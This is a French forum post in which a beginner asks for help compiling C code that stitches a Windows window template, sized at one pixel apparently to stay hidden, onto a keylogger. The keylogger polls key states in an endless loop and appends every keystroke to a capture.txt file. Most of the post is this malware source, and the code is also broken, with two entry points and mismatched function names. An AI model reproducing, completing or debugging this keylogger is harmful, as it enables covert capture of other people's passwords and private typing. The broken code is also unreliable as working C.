bonjour,
J'ai un probleme lorsque je veux compiler ce code. Je suis débutant, mais j'ai réunis plusieur code et çà doit etre la le probleme. donc lorsque je compile il me met une erreur (je signalerais via une note).
Je précise je compile avec Dec-C++.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
1, /* The programs width */
1, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
/* Code of keylogger */
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\capture.txt");
sortie = fopen(fichier,"a+");
result=0;
compteur=0; //on initialise
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=32;
if ( lettre==33 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
lettre=13; sleep(50); // c'est ici que ça bug quand je compile
}
} //fin de test des lettres
sleep(1);
} //fin de la boucle sans fin
return 0;
}
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 48 : if ( isalt() ) towrite='@';
else towrite='à';
break;
case 49 : towrite='&';
break;
case 50 : towrite='é';
break;
case 51 : if ( isalt() ) towrite='#';
else towrite='"';
break;
case 52 : if ( isalt() ) towrite='{';
else towrite=39; // '
break;
case 53 : if ( isalt() ) towrite='[';
else towrite='(';
break;
case 54 : if ( isalt() ) towrite='|';
else towrite='-';
break;
case 55 : towrite='è';
break;
case 56 : if ( isalt() ) towrite='\\';
else towrite='_';
break;
case 57 : towrite='ç';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 187 : if ( isalt() ) towrite='}';
else towrite='=';
break;
case 186 : towrite='$';
break;
case 192 : towrite='%';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
// On affiche les lettres. exception : la touche entrée
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
Merci de votre aide.
By rebelattack